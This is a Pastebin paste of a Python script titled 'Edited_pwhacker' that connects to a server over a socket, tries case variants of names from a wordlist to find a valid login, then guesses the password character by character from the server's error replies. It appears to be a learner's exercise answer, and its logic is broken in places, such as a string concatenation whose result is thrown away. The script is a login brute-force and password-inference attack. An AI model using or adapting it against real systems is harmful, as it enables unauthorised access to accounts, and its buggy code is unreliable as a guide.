MeowalsoMeow

Edited_pwhacker

Jun 2nd, 2021
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. import sys
  2. import socket
  3. import itertools
  4. import json
  5. import string
  6.  
  7.  
  8. def get_name_variants():
  9. name_vars = []
  10. with open(r"C:\Users\linyu\Downloads\logins.txt", 'r', encoding='utf-8') as f:
  11. names = f.read().strip('\n').splitlines()
  12. # print(names)
  13. for name in names:
  14. _vars = map("".join, itertools.product(*zip(name.upper(), name.lower())))
  15. for _var in _vars:
  16. name_vars.append(_var)
  17. # print(name_vars) correct variants
  18. return name_vars
  19.  
  20.  
  21. args = sys.argv
  22. ip = args[1]
  23. port = int(args[2])
  24. address = (ip, port)
  25. with socket.socket() as client_socket:
  26. client_socket.connect(address)
  27. # get name
  28. lis = get_name_variants()
  29. login = ""
  30. for i in lis:
  31. only_name_json = json.dumps({"login": f"{i}", "password": ""})
  32. client_socket.send(only_name_json.encode())
  33. test_name_reply = json.loads(client_socket.recv(1024).decode())
  34. if test_name_reply["result"] == 'Wrong password!' or test_name_reply["result"] == 'Exception happened during login':
  35. # print(f"log in name is {i}")
  36. login = i
  37. break
  38. # get pw
  39. print(login)
  40. symbols = string.printable
  41. password = ""
  42. while True:
  43. for x in symbols:
  44. password + x
  45. client_socket.send(json.dumps({"login": f"{login}", "password": f"{x}"}).encode())
  46. test_pw_reply = json.loads(client_socket.recv(1024).decode())
  47. if test_pw_reply["result"] == "Connection success!":
  48. pass
  49. elif test_pw_reply["result"] == "Wrong password!":
  50. password = password[:-1]
  51. elif test_pw_reply["result"] == "Exception happened during login":
  52. # print(password)
  53. break
  54. print(password) # If I comment this line out, line 56 will be unreachable instead. Why?
  55.  
  56. print(json.dumps({"login": f"{login}", "password": f"{password}"}))
  57.  
Advertisement
Add Comment
Please, Sign In to add comment